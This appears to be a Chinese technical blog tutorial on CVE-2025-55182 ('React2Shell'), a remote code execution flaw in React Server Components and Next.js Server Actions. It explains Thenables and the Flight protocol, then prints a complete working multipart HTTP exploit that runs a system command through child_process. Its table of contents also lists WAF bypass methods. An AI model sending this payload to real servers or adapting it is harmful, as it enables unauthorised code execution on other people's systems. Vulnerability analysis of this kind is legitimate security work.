文章目录
-
-
[1.1 这到底是个什么漏洞?](#1.1 这到底是个什么漏洞?)
-
[1.2 "React2Shell" 这个名字是什么意思?](#1.2 "React2Shell" 这个名字是什么意思?)
-
[1.3 受影响范围](#1.3 受影响范围)
-
[1.4 漏洞发现与披露时间线](#1.4 漏洞发现与披露时间线)
-
-
-
[2.1 JavaScript Thenable 机制](#2.1 JavaScript Thenable 机制)
-
[2.2 React Server Components (RSC) 与 Flight 协议](#2.2 React Server Components (RSC) 与 Flight 协议)
-
[2.3 Next.js Server Actions](#2.3 Next.js Server Actions)
-
-
-
[3.0 先看整体架构:请求处理时序图](#3.0 先看整体架构:请求处理时序图)
-
[3.1 Flight 协议中的 Chunk 机制](#3.1 Flight 协议中的 Chunk 机制)
-
[3.2 两个 Chunk 之间的依赖关系](#3.2 两个 Chunk 之间的依赖关系)
-
[3.3 resolve() 与 Thenable 的危险碰撞](#3.3 resolve() 与 Thenable 的危险碰撞)
-
[3.4 完整攻击链五步拆解](#3.4 完整攻击链五步拆解)
-
-
-
[4.1 环境搭建与调试配置](#4.1 环境搭建与调试配置)
-
[4.2 构造攻击 Payload](#4.2 构造攻击 Payload)
-
[4.3 发送攻击请求并验证](#4.3 发送攻击请求并验证)
-
-
[五、WAF 绕过技术](#五、WAF 绕过技术)
-
[5.1 Unicode 编码绕过](#5.1 Unicode 编码绕过)
-
[5.2 UTF-16 Charset 绕过](#5.2 UTF-16 Charset 绕过)
-
[5.3 嵌套 Chunk 解码绕过](#5.3 嵌套 Chunk 解码绕过)
-
[5.4 绕过 Multipart 检测](#5.4 绕过 Multipart 检测)
-
一、漏洞概述
1.1 这到底是个什么漏洞?
假设你访问了一个用 Next.js 搭建的网站,这个网站看起来普普通通------就是个博客、企业官网或者电商页面。然后,你在浏览器里按 F12,抓了个包,改了点数据发回去。结果你直接拿到了服务器的 Shell ------能执行任意命令,比如 whoami、ls /、cat /etc/passwd......
这就是 CVE-2025-55182。
它不需要你在服务器上上传文件,不需要 SQL 注入,也不需要 XSS。你只需要 发一个精心构造的 HTTP POST 请求,服务器上的 Node.js 进程就会乖乖执行你指定的系统命令。
CVSS 评分:9.8(Critical,最高危级别)
1.2 "React2Shell" 这个名字是什么意思?
安全社区给这个漏洞起了一个特别形象的名字------React2Shell:
React → 2 → Shell
↑ ↑ ↑
React框架 "to" 拿到Shell
(谐音)
意思就是:从 React 框架直接到拿到 Shell,中间跳过了所有传统的攻击步骤。
1.3 受影响范围
| 组件 | 受影响版本 |
|---|---|
| Next.js | 15.x 系列(使用 React 19.x) |
| react-server-dom-webpack | 修复前版本 |
| react-server-dom-turbopack | 修复前版本 |
| React | 19.x(Flight 协议相关模块) |
前提条件: 目标应用启用了 Server Actions(这是 Next.js 15 的默认功能,无需额外配置)。
换句话说,只要你用 npx create-next-app@15 创建了一个项目并部署上线,而没有手动关掉 Server Actions,你就是受影响的。
1.4 漏洞发现与披露时间线
2025年12月初 安全研究人员 @pyn3rd 首次公开 POC
│
2025年12月初 Vercel WAF(Seawall)添加 constructor 关键词拦截
│
2025年12月5日 安全社区发现 Unicode 编码绕过 WAF
│
2025年12月中 Lachlan & Sylvie 发现嵌套 Chunk 多层解码绕过
│
2025年12月底 React 官方发布 PR#35277 修复补丁
│
2026年1月 Next.js 发布正式修复版本
二、前置知识
在理解漏洞原理之前,我们需要先掌握三个核心概念。请一定耐心读完这一部分------这些基础知识将在后续每个步骤中反复出现,理解了它们,漏洞原理就水到渠成了。
2.1 JavaScript Thenable 机制
Thenable 是 React2Shell 的灵魂。不理解 Thenable,就无法理解这个漏洞。
第一步:JavaScript 如何处理"等待"?
想象一个现实场景:你去奶茶店点单。
-
店员给你一个取餐号(小票),你可以拿着它去做别的事
-
奶茶做好了,店员叫号,你拿着取餐号去领奶茶
JavaScript 中的异步编程,就和这个过程一模一样:
你点单 发起异步请求(如网络请求)
│ │
你拿到取餐号 (Promise) 得到一个 Promise 对象
│ │
你去做别的事 主线程继续执行其他代码
│ │
店员叫号 (resolve) 异步操作完成,调用 resolve()
│ │
你领到奶茶 .then() 回调被触发
第二步:Callback Hell(回调地狱)------最原始的方式
在 JavaScript 早期(ES5 之前),异步操作只能靠回调函数:
// 场景:先登录 → 拿 token → 查用户信息 → 查订单
// 代码会层层嵌套,像"金字塔"一样往右缩进
request.login("user", "pass", function(err, token) {
if (err) { console.log("登录失败"); return; }
request.getProfile(token, function(err, user) {
if (err) { console.log("获取信息失败"); return; }
request.getOrders(user.id, function(err, orders) {
if (err) { console.log("获取订单失败"); return; }
console.log("您的订单:", orders);
// ↑ 到这里已经缩进了 4 层!
// 如果再加一个步骤,还要继续往右缩……
});
});
});
这种代码被称为 Callback Hell(回调地狱)------可读性极差,错误处理分散在各处,维护噩梦。
第三步:Promise 来了------把"横向缩进"变成"纵向链式"
ES6(2015年)引入了 Promise,核心思想:把回调从函数参数中"拉"出来,用 .then() 串联。
// 同样的逻辑,用 Promise 链式写法:
login("user", "pass") // 发起登录
.then(function(token) { // 登录成功 → 拿 token
return getProfile(token); // 返回新的 Promise
})
.then(function(user) { // 拿到用户信息
return getOrders(user.id); // 返回新的 Promise
})
.then(function(orders) { // 拿到订单
console.log("您的订单:", orders);
})
.catch(function(err) { // 统一错误处理!
console.error("出错:", err);
});
流程图更加直观:
login()
│
▼ (成功)
getProfile(token) ← .then() 接收上一个结果
│
▼ (成功)
getOrders(user.id) ← .then() 接收上一个结果
│
▼ (成功)
console.log(orders) ← .then() 接收上一个结果
任何一步失败 → .catch() 统一捕获
Promise 内部的构造如下:
function login(username, password) {
// 返回一个 Promise 对象
return new Promise(function(resolve, reject) {
const xhr = new XMLHttpRequest();
xhr.open("POST", "/v1/login");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = function() {
if (xhr.status >= 200 && xhr.status < 300) {
const data = JSON.parse(xhr.responseText);
resolve(data.token); // ✅ 成功 → 调用 resolve
} else {
reject(new Error("请求错误")); // ❌ 失败 → 调用 reject
}
};
xhr.onerror = function() {
reject(new Error("网络错误"));
};
xhr.send(JSON.stringify({ username, password }));
});
}
记住这两个关键角色:
-
resolve(value)→ 告诉 Promise "成功了",把value传给下一个.then() -
reject(error)→ 告诉 Promise "失败了",跳到.catch()
第四步:async/await------让异步代码"看起来像同步"
ES2017 引入 async/await,本质上就是 Promise + .then() 的语法糖:
// Promise 链式写法
login("user", "pass")
.then(token => getProfile(token))
.then(user => getOrders(user.id))
.then(orders => console.log(orders))
// async/await 写法(等价!)
async function main() {
const token = await login("user", "pass"); // await = .then()
const user = await getProfile(token); // await = .then()
const orders = await getOrders(user.id); // await = .then()
console.log(orders);
}
关键对应关系:
-
await xxx等价于xxx.then(result => ...) -
await后面跟的东西,JavaScript 会尝试把它当作 Promise 来处理
第五步(核心!):Thenable------不是 Promise 但可以被 await
在 ES5 时代(甚至更早),很多第三方库自己实现了"类 Promise"------这些对象不是真正的 Promise,但有一个 then 方法。
为了让 await 能兼容这些老代码,JavaScript 规范规定:
只要一个对象有
then方法,JavaScript 就把它当作 Thenable,await会调用它的then(resolve, reject)。
看下面的对比:
// 方式 A:使用真正的 Promise(需要 new Promise(...))
function login_Promise(username, password) {
return new Promise(function(resolve, reject) {
// ... 异步操作 ...
resolve(result);
});
}
// 方式 B:使用 Thenable(直接返回一个带 then 方法的普通对象!)
function login_Thenable(username, password) {
return {
// 这个对象不是 Promise,但它有 then 方法
then: function(resolve, reject) {
// JavaScript 引擎会自动传入 resolve 和 reject
const xhr = new XMLHttpRequest();
xhr.open("POST", "/v1/login");
// ...
xhr.onload = function() {
resolve(JSON.parse(xhr.responseText).token);
};
xhr.send(JSON.stringify({ username, password }));
}
};
}
// 两种用法完全一样!
const token1 = await login_Promise("admin", "123456"); // 可以
const token2 = await login_Thenable("admin", "123456"); // 也可以!
这就是漏洞的关键入口------只要攻击者能构造一个带 then 方法的对象,JavaScript 引擎就会自动调用 then(resolve, reject),而 resolve 和 reject 由引擎提供,攻击者可以在 then 方法里执行任意代码!
// 一个恶意的 Thenable 对象
const maliciousThenable = {
then: function(resolve, reject) {
// 这个函数会被 JavaScript 引擎自动调用!
// resolve 和 reject 是引擎传入的回调
console.log("我在服务器上执行了!");
// 可以在这里做任何事情...
resolve("done");
}
};
// 如果某个地方有 await maliciousThenable ...
// then 里的代码就会自动执行!
总结一下 Thenable 的知识链条:
Callback Hell → Promise(.then链) → async/await(语法糖) → Thenable(有then方法就是Thenable)
↑
漏洞入口点在这里!
2.2 React Server Components (RSC) 与 Flight 协议
为什么要搞 RSC?传统 SSR 有什么问题?
传统的服务端渲染(SSR)流程是这样的:
浏览器请求 /page
│
▼
服务器:渲染 React 组件 → 生成 HTML 字符串 → 返回给浏览器
│
▼
浏览器:显示 HTML(用户看到内容了,但按钮点不了!)
│
▼
浏览器:下载 JavaScript Bundle(几百KB到几MB)
│
▼
浏览器:执行 Hydration(把 HTML 和 JS 逻辑"接上")
│
▼
现在按钮可以点了(Time to Interactive)
痛点: 从"看到页面"到"能交互"之间有明显的延迟,特别是网络慢或设备差的时候。
RSC 的新思路:组件分两种,各管各的
React Server Components 把组件分为两类:
┌─────────────────────────────────────────────────────┐
│ React 组件树 │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ Server Components │ │ Client Components │ │
│ │ │ │ │ │
│ │ • 只在服务端运行 │ │ • 在浏览器中运行 │ │
│ │ • 不增加JS Bundle │ │ • 负责交互和状态 │ │
│ │ • 直接访问数据库 │ │ • 使用 "use client" │ │
│ │ • 默认就是这种类型 │ │ 指令标记 │ │
│ │ │ │ │ │
│ │ 例如: │ │ 例如: │ │
│ │ - 文章内容渲染 │ │ - 搜索输入框 │ │
│ │ - 数据库查询结果 │ │ - 点赞按钮 │ │
│ │ - 文件读取 │ │ - 表单交互 │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
│ 两者通过 Flight 协议交换数据 │
└─────────────────────────────────────────────────────┘
Flight 协议:服务端和客户端的"共同语言"
Flight 协议是 React 自定义的一种序列化格式,用来在服务端和客户端之间传递 RSC 数据。
和传统 JSON 的区别------为什么要自己造协议?
传统 JSON 不能表示以下 JavaScript 原生类型:
-
undefined(JSON 没有 undefined) -
Date对象 -
BigInt -
Map/Set -
Promise(异步数据) -
循环引用
Flight 协议通过 $ 前缀扩展了 JSON,让这些类型都能传输。
Flight 数据的传输格式
┌─────────────────────────────────────────────────────┐
│ Flight Row 格式 │
│ │
│ ID : TypeCode Data │
│ ↑ ↑ ↑ │
│ 行号 类型码 实际数据 │
│ │
│ 例如: │
│ 0: ["$1", {"name": "Alice"}] │
│ 1: {"age": 25} │
│ │
│ 第0行引用第1行的数据 ($1 表示引用ID为1的行) │
└─────────────────────────────────────────────────────┘
服务端如何处理 Server Action 请求?
当客户端通过 Server Action 发送数据时,服务端的处理流程:
客户端 POST 请求
│
│ Header: Next-Action: abc123def
│ Content-Type: multipart/form-data
│ Body: [序列化的表单数据]
│
▼
┌──────────────────────────────────────────────────────┐
│ getServerActionRequestMetadata(request) │
│ 解析 Next-Action header,提取 actionId │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ 判断请求类型: │
│ • Content-Type = application/x-www-form-urlencoded │
│ → isURLEncodedAction = true │
│ • Content-Type = multipart/form-data │
│ → isMultipartAction = true │
│ • 有 actionId 的普通 POST │
│ → isFetchAction = true │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ decodeReplyFromBusboy(request, serverManifest) │
│ 核心反序列化函数,解析 multipart/form-data │
│ ⚠️ 漏洞触发点就在这个函数内部! │
└──────────────────────────────────────────────────────┘
2.3 Next.js Server Actions
Server Action 是什么?
传统的 Next.js 应用,前端要调后端接口,需要:
-
在
pages/api/或app/api/下创建一个 API Route -
前端用
fetch('/api/xxx')调用 -
处理后端返回的数据
// 传统方式:需要单独写 API 路由
// app/api/createPost/route.ts
export async function POST(request) {
const data = await request.json();
await db.post.create({ data });
return Response.json({ success: true });
}
// 前端组件中
async function handleSubmit() {
const res = await fetch('/api/createPost', {
method: 'POST',
body: JSON.stringify({ title: 'hello' })
});
}
Server Actions 把两步合为一步------直接在组件里定义一个函数,标记为 "use server",就可以在客户端直接调用它:
// app/actions.ts
"use server";
import { db } from "@/lib/db";
export async function createPost(title: string) {
await db.post.create({ data: { title } });
return { success: true };
}
// app/page.tsx(前端组件)
import { createPost } from "./actions";
export default function Page() {
return (
<form action={createPost}> {/* 直接绑定 Server Action!*/}
<input name="title" />
<button type="submit">提交</button>
</form>
);
}
Server Action 在网络层面是什么样的?
当用户点击提交按钮时,浏览器发出的实际 HTTP 请求:
POST / HTTP/1.1
Host: example.com
Next-Action: a1b2c3d4e5f6... ← 标识这是 Server Action
Content-Type: multipart/form-data; boundary=----WebKitForm
------WebKitForm
Content-Disposition: form-data; name="1" ← 第一个字段
Content-Type: text/plain
["$K1"] ← Flight 格式数据
------WebKitForm
Content-Disposition: form-data; name="2" ← 第二个字段
Content-Type: text/plain
{"title": "hello"} ← 表单实际数据
------WebKitForm--
三个关键特征(记住它们,后面分析 WAF 绕过时会用到):
-
请求头必须有
Next-Action: <hex-id> -
Content-Type 是
multipart/form-data -
Body 中的数据使用 Flight 序列化格式(
$前缀引用)
三、漏洞原理深度分析
3.0 先看整体架构:请求处理时序图
在深入细节之前,先用一张时序图建立整体认知------恶意请求进入 Next.js 服务器后,经过了哪些关键处理环节:
时间线 →
恶意客户端 Next.js 服务器 React Flight 解析器
│ │ │
│── POST + Next-Action ────▶│ │
│ multipart/form-data │ │
│ │── 识别为 Server Action ───────────▶│
│ │ │
│ │ decodeReplyFromBusboy() │
│ │ │
│ │ ┌─────────────────────────────┐ │
│ │ │ Thread 1: busboy 解析 │ │
│ │ │ name="0" → Chunk 0 │ │
│ │ │ value = {then:..., ...} │ │
│ │ │ │ │
│ │ │ name="1" → Chunk 1 │ │
│ │ │ value = "$@0" │ │
│ │ │ → Promise<Chunk0> │ │
│ │ └─────────────────────────────┘ │
│ │ │
│ │ ┌─────────────────────────────┐ │
│ │ │ Thread 2: 消费 Chunk │ │
│ │ │ │ │
│ │ │ ① 读取 Chunk 0 的 value │ │
│ │ │ ② 发现对象有 then 属性 │ │
│ │ │ ③ JS引擎: 这是 Thenable! │ │
│ │ │ ④ 自动调用 then(res, rej) │ │
│ │ │ ⑤ then = $1:then │ │
│ │ │ = chunk1.value.then │ │
│ │ │ = Promise.then │ │
│ │ │ ⑥ 链式获取 constructor │ │
│ │ │ → Function 构造函数 │ │
│ │ │ ⑦ Function(_prefix) │ │
│ │ │ → RCE! 💥 │ │
│ │ └─────────────────────────────┘ │
│ │ │
│ │ ← calc.exe 弹出来了 / id 执行了 ← │
│◀── 响应 ──────────────────│ │
3.1 Flight 协议中的 Chunk 机制
Chunk 是什么?
React Flight 协议用 Chunk 来管理反序列化过程中的数据。每个 multipart 字段对应一个 Chunk。
可以把 Chunk 理解为一个 带状态的"数据盒子":
┌──────────────────────┐
│ Chunk (数据盒子) │
│ │
│ status: "..." │ ← 盒子当前状态
│ value: ... │ ← 盒子里装的数据
│ reason: ... │ ← 出错原因
│ _response: {...} │ ← 指向所属的 Response
└──────────────────────┘
Chunk 的六种状态(State Machine)
┌──────────────┐
│ PENDING │ ← 初始状态,value = null
│ (等待中) │
└──────┬───────┘
│
┌────────────┼────────────┐
│ │ │
▼ ▼ ▼
┌─────────────┐ ┌───────────┐ ┌───────────┐
│ RESOLVED_ │ │ BLOCKED │ │ ERRORED │
│ MODEL │ │ (被阻塞) │ │ (出错) │
│ (已解析) │ │ │ │ │
└─────────────┘ └─────┬─────┘ └───────────┘
│
┌─────┴─────┐
▼ ▼
┌──────────┐ ┌──────────────┐
│ CYCLIC │ │ INITIALIZED │
│ (循环引用)│ │ (已初始化) │
└──────────┘ └──────────────┘
| 状态 | 含义 | value 的值 |
|---|---|---|
| PENDING | 刚创建,还没收到数据 | null |
| RESOLVED_MODEL | 数据已解析完毕 | 反序列化后的 JS 对象 |
| BLOCKED | 等待其他 Chunk 先完成 | null(等待中) |
| CYCLIC | 检测到循环引用 | 特殊标记 |
| INITIALIZED | 初始化完成 | 最终值 |
| ERRORED | 处理过程中出错 | 错误信息 |
Chunk 之间的关系图
多个 Chunk 之间可以互相依赖,形成依赖图:
multipart form-data:
┌────────────────────────────────────────┐
│ field name="0": │
│ {"then": "$1:then", ...} │ → 变成 Chunk 0
│ │
│ field name="1": │
│ "$@0" │ → 变成 Chunk 1
└────────────────────────────────────────┘
Chunk 依赖关系:
Chunk 0 ──────────────────────┐
(value = {then: "$1:then"}) │
│ Chunk 0 的 then 指向 Chunk 1
▼
Chunk 1 ──────────────────────┐
(value = "$@0" │
= Promise<Chunk0>) │ Chunk 1 的 value 是 Chunk 0 的 Promise
│
▼
形成循环依赖!→ 这是漏洞利用的基础
3.2 两个 Chunk 之间的依赖关系
这里是最容易搞混的地方,我们一步一步拆开来看。
$0 vs $@0 ------ 同步提取 vs 异步包装
Flight 协议中,$<id> 和 $@<id> 是两个不同的操作:
$0 → getOutlinedModel(0)
→ 直接拿到 Chunk 0 的 value(同步操作)
→ 如果 Chunk 0 还没就绪,就等着(BLOCKED 状态)
$@0 → getChunk(0)
→ 返回一个 Promise<Chunk0 的 value>(异步操作)
→ 这个 Promise resolve 后得到 Chunk 0 的值
图示:
$0 (同步)
════════════════════════════
Chunk 1.value = chunk0.value ← 直接赋值
如果 chunk0 是 {name: "Alice"},
那 chunk1.value 就是 {name: "Alice"}
$@0 (异步)
════════════════════════════
Chunk 1.value = Promise<chunk0.value> ← 包装成 Promise
如果 chunk0 是 {name: "Alice"},
那 chunk1.value 是 Promise { {name: "Alice"} }
需要用 await chunk1.value 才能拿到 {name: "Alice"}
为什么 $@0 是漏洞的关键?
因为 $@0 返回的是 Promise,而在 JavaScript 中,Promise 的原型上有 .then() 方法。
// JavaScript Promise 原型链
const p = Promise.resolve(42);
p.then // ← 这是 Promise.prototype.then(原生方法)
p.constructor // ← 这是 Promise(构造函数本身)
p.constructor.constructor // ← 这是 Function(所有构造函数的构造函数!)
关键发现:
// 攻击者只需要访问 Promise 实例的 constructor 链
// 就能拿到 Function 构造函数
// 步骤:
Promise → .constructor → Promise 构造函数
→ .constructor → Function 构造函数(所有函数都是 Function 构造的)
// 所以:
p.constructor.constructor === Function // true!
// 而 Function 可以这样用:
Function('return 1+1')() // 2
Function('process.mainModule.require("child_process").execSync("id")')()
// ↑ 等于 eval,但比 eval 更隐蔽!
这就是为什么攻击 Payload 中会有 $1:constructor:constructor------它的作用是:
$1
↓ (Chunk 1 的值 = Promise<Chunk0>)
Promise 实例
↓ .constructor
Promise 构造函数
↓ .constructor
Function 构造函数 ← 拿到它就可以执行任意代码!
3.3 resolve() 与 Thenable 的危险碰撞
关键函数 wakeChunk 的内部逻辑
当 Chunk 状态变更时,React 会调用 wakeChunk:
// React Flight 源码简化版
function wakeChunk(listeners, value) {
for (let i = 0; i < listeners.length; i++) {
const listener = listeners[i];
// ⚠️ 关键点:resolve(value)
// 如果 value 是 Thenable,JS 会自动调用 value.then(引擎的resolve, 引擎的reject)
listener.resolve(value);
}
}
JavaScript Promise 的"自动展平"机制
这是 JavaScript 规范决定的,不是 React 的 bug:
// 实验:Promise.resolve 遇到 Thenable
// 情况1:resolve 一个普通值
Promise.resolve(42)
.then(x => console.log(x)); // 输出 42
// 情况2:resolve 一个 Promise
Promise.resolve(Promise.resolve(42))
.then(x => console.log(x)); // 输出 42(自动展开!)
// 情况3:resolve 一个 Thenable
const myThenable = {
then: function(resolve, reject) {
console.log("Thenable.then 被调用了!");
resolve("从 Thenable 来的数据");
}
};
Promise.resolve(myThenable)
.then(x => console.log("结果:" + x));
// 输出:
// "Thenable.then 被调用了!"
// "结果:从 Thenable 来的数据"
核心规则:如果 resolve(value) 中的 value 有 then 方法,JavaScript 引擎会把它当作 Thenable,自动调用 value.then(引擎的resolve, 引擎的reject)。
3.4 完整攻击链五步拆解
现在把所有知识串起来,看攻击 Payload 如何一步步实现 RCE。
攻击 Payload 全景图
multipart 请求包含两个字段:
multipart form-data:
┌─────────────────────────────────────────────────────┐
│ field name="0" │
│ │
│ { │ ← 这整个 JSON 变成 Chunk 0
│ "then": "$1:then", ← ① 关键! │
│ "status": "resolved_model", │
│ "reason": -1, │
│ "value": "{\"then\":\"$B1337\"}", │
│ "_response": { │
│ "_prefix": "恶意代码...", ← ③ 最终执行 │
│ "_chunks": [], │
│ "_formData": { │
│ "get": "$1:constructor:constructor" ← ② 关键 │
│ } │
│ } │
│ } │
├─────────────────────────────────────────────────────┤
│ field name="1" │
│ │
│ "$@0" ← Promise包装 │
└─────────────────────────────────────────────────────┘
攻击链序列图
时间线 →
Step 1: multipart 解析
═══════════════════════
busboy 逐字段解析:
field "0" → resolveField(response, "0", jsonValue)
→ 创建 Chunk 0,status = RESOLVED_MODEL
→ chunk0.value = {then: "$1:then", status: "resolved_model", ...}
field "1" → resolveField(response, "1", "$@0")
→ "$@0" → getChunk(0) → Promise<chunk0.value>
→ 创建 Chunk 1,value = Promise { <pending> }
Step 2: Thenable 检测
═════════════════════
React 内部某处代码执行:
const val = chunk0.value;
// val = {then: "$1:then", status: "resolved_model", ...}
JavaScript 引擎判断:
"val 有 then 属性吗?" → 有!
"那 val 就是 Thenable!"
→ 自动调用 val.then(engineResolve, engineReject)
Step 3: then 解析
═════════════════
val.then 的值是 "$1:then"(字符串)
React parseModelString 解析 "$1:then":
"$1" → 获取 Chunk 1 的 value
":then" → 访问 .then 属性
Chunk 1 的 value 是 Promise<chunk0>(来自 $@0)
Promise 实例上有 .then——这是原生的 Promise.prototype.then
所以 val.then = Promise.prototype.then
→ 引擎调用 Promise.prototype.then(engineResolve, engineReject)
(这一步不执行恶意代码,但成功将引擎的 resolve 传入了 Promise 链)
Step 4: 获取 Function 构造函数
══════════════════════════════
Payload 中 _formData.get = "$1:constructor:constructor"
解析过程:
"$1" → Chunk 1 的 value = Promise 实例
":constructor" → Promise 实例.constructor = Promise 构造函数
":constructor" → Promise 构造函数.constructor = Function 构造函数!
所以 _formData.get = Function ← 这就是恶意的代码执行器!
在 JavaScript 中验证:
Promise.resolve().constructor.constructor === Function
// true!
Step 5: 执行任意代码 💥
══════════════════════
React 内部处理 Chunk 的 blob 数据时:
_response._prefix = "process.mainModule.require('child_process').execSync('calc.exe');"
_response._formData.get = Function
→ Function(_prefix)
→ 相当于:new Function("process.mainModule.require('child_process').execSync('calc.exe');")
→ 调用这个新函数
→ calc.exe 被启动!
→ RCE 完成 🎯
每一步对应的 Payload 字段汇总
Payload 分解表
═══════════════
┌─────────────────────────┬──────────────────────────────────────┐
│ Payload 字段 │ 作用 │
├─────────────────────────┼──────────────────────────────────────┤
│ "then": "$1:then" │ 使 Chunk 0 被识别为 Thenable │
│ │ then 指向 Promise.prototype.then │
├─────────────────────────┼──────────────────────────────────────┤
│ "status":"resolved_model"│ 伪造 Chunk 状态(看起来合法) │
├─────────────────────────┼──────────────────────────────────────┤
│ "reason": -1 │ 伪造错误码,避免触发异常处理 │
├─────────────────────────┼──────────────────────────────────────┤
│ "value":"{\"then\": │ Chunk 0 的 value,$B1337 是无效的 │
│ \"$B1337\"}" │ Blob 引用,用于中断后续不必要的处理 │
├─────────────────────────┼──────────────────────────────────────┤
│ _response._prefix │ ★ 最终被 Function() 执行的恶意JS代码 │
├─────────────────────────┼──────────────────────────────────────┤
│ _response._formData │ "$1:constructor:constructor" │
│ .get │ ★ 获取 Function 构造函数 │
├─────────────────────────┼──────────────────────────────────────┤
│ field "1": "$@0" │ ★ 将 Chunk 1 包装为 Promise │
│ │ 使得 .constructor.constructor 链成立 │
└─────────────────────────┴──────────────────────────────────────┘
四、漏洞复现
4.1 环境搭建与调试配置
步骤一:创建受影响版本的 Next.js 项目
# 使用 Next.js 15.5.6(受影响版本)
npx create-next-app@15.5.6 nextjs-cve-2025-55182 --yes
cd nextjs-cve-2025-55182

步骤二:开启 Node.js 调试模式
Windows:
set NODE_OPTIONS="--inspect"
npm run dev

Linux / macOS:
export NODE_OPTIONS="--inspect"
npm run dev
步骤三:理解三个端口的作用
启动后 Node.js 会监听三个端口:
┌─────────────────────────────────────────────────────┐
│ │
│ 端口 3000 ← Web 应用(Next.js 服务) │
│ ▲ 用户浏览器访问 http://localhost:3000 │
│ │
│ 端口 9229 ← Dev Server 守护进程的调试端口 │
│ ▲ 用于调试 Next.js 的开发服务器本身 │
│ │
│ 端口 9230 ← ★ 应用进程的调试端口(我们连这个!) │
│ ▲ 用于调试实际的 React 渲染和 Server Action 处理 │
│ │
└─────────────────────────────────────────────────────┘
步骤四:连接 Chrome DevTools
-
打开 Chrome,地址栏输入
chrome://inspect/ -
在页面中点击 "Configure...",确保
localhost:9230在列表中 -
在 "Remote Target" 区域,你会看到类似这样的条目:
-
点击下方的 inspect 链接,会弹出 DevTools 窗口
-
在 DevTools → Sources 面板中,取消勾选 "Enable ignore listing"(忽略列表),这样才能看到 node_modules 中的源码

步骤五:设置关键断点(可选,用于理解原理)
如果你想跟着源码走一遍攻击流程,在以下位置打断点:
| 文件 | 函数/位置 | 断点目的 |
|---|---|---|
action-handler.ts |
getServerActionRequestMetadata |
观察请求如何被识别为 Server Action |
react-server-dom-turbopack-server.node.development.js |
decodeReplyFromBusboy |
观察 multipart 数据进入解析 |
| 同上 | parseModelString |
观察 $ 前缀字符串如何被解析 |
| 同上 | resolveField |
观察字段如何被创建为 Chunk |
| 同上 | wakeChunk |
观察 Chunk 状态变更和 resolve 调用 |
4.2 构造攻击 Payload
Payload A:Windows 弹计算器(最简验证)
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 504
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc.exe');",
"_chunks": [],
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

成功复现 Payload 逐字段详解
整体结构一览
HTTP 请求
├── 请求行: POST / HTTP/1.1
├── 请求头: Next-Action: x ← 告诉Next.js"我是Server Action"
├── 请求头: Content-Type: multipart/form-data ← 触发decodeReplyFromBusboy解析
│ boundary=----WebKitFormBoundary...
└── 请求体(multipart):
├── part 1 (name="0") → 变成 Chunk 0
│ ┌──────────────────────────────────────────────┐
│ │ { │
│ │ "then": "$1:then", │ ← 字段①
│ │ "status": "resolved_model", │ ← 字段②
│ │ "reason": -1, │ ← 字段③
│ │ "value": "{\"then\":\"$B1337\"}", │ ← 字段④
│ │ "_response": { │ ← 字段⑤
│ │ "_prefix": "process.mainModule...", │ ← 字段⑥ ★核心★
│ │ "_chunks": [], │ ← 字段⑦
│ │ "_formData": { │ ← 字段⑧
│ │ "get": "$1:constructor:constructor" │ ← 字段⑨ ★核心★
│ │ } │
│ │ } │
│ │ } │
│ └──────────────────────────────────────────────┘
│
└── part 2 (name="1") → 变成 Chunk 1
┌──────────────────────────────────────────────┐
│ "$@0" │ ← 字段⑩ ★核心★
└──────────────────────────────────────────────┘
字段①:"then": "$1:then" --- 整个攻击链的起点
"then": "$1:then"
它做了什么?
这个字段让 chunk0.value 变成一个有 then 属性的对象。JavaScript 引擎看到这个对象后,认为它是 Thenable,自动调用 value.then(engineResolve, engineReject)。
为什么要指向 $1:then?
React 解析 "$1:then" 的过程:
-
$1→ 获取 Chunk 1 的 value -
Chunk 1 的 value 是
$@0,即Promise<chunk0.value> -
:then→ 访问 Promise 实例的.then属性 -
Promise 实例的
.then就是Promise.prototype.then
所以最终 val.then = Promise.prototype.then------这是一个完全合法 的 JavaScript 原生方法,不会触发任何异常,但成功将引擎的 resolve/reject 回调传入了 Promise 链。
比喻: 就像你拿着假的工作证(Thenable 对象),保安(JS引擎)看到了,但假工作证上写的电话(then)指向了一个真员工(Promise.prototype.then),保安打过去确认后,居然放你进去了。
chunk0.value = {
then: "$1:then", ← "我看起来像个Thenable"
...
}
│
▼ JS引擎判断:这个对象有then属性,是Thenable!
│
▼ JS引擎调用:chunk0.value.then(engineResolve, engineReject)
│
▼ then的值是"$1:then" → React解析为 Promise.prototype.then
│
▼ 实际调用:Promise.prototype.then(engineResolve, engineReject)
│ ↑ 这是一个完全合法的原生方法调用
│ 但engineResolve被注入了Promise链!
字段②:"status": "resolved_model" --- 伪装成正常Chunk
"status": "resolved_model"
它做了什么?
React Flight 内部会检查 Chunk 的 status 字段来决定如何处理这个 Chunk。"resolved_model" 表示 Chunk 已经成功解析完毕,数据可用。
为什么要写这个值?
如果 status 不是 resolved_model(比如是 PENDING 或 ERRORED),React 可能会走不同的代码分支------等待数据、报错、或者跳过处理。我们想让 React 直接进入"读取 value 并使用它"的逻辑,所以伪装成已解析状态。
注意: 这里我们伪造的是 JSON 对象中的 status 字段,它模拟了真实 Chunk 对象的结构。React 在解析时会把整个 JSON 当作 Chunk 的 value,并在适当的时机检查这个 status。
字段③:"reason": -1 --- 伪造错误码
"reason": -1
它做了什么?
在正常流程中,如果 Chunk 出错(status = ERRORED),reason 字段存储的是错误原因。设置为 -1 确保不会触发错误处理流程。
为什么是 -1?
因为 -1 是一个 truthy 值但不是 Error 对象。React 的检查逻辑类似 if (reason) { /* 处理错误 */ },-1 虽然 truthy 但类型不是 Error,实际不会走到错误处理分支。这是一个"占坑但不触发"的策略。
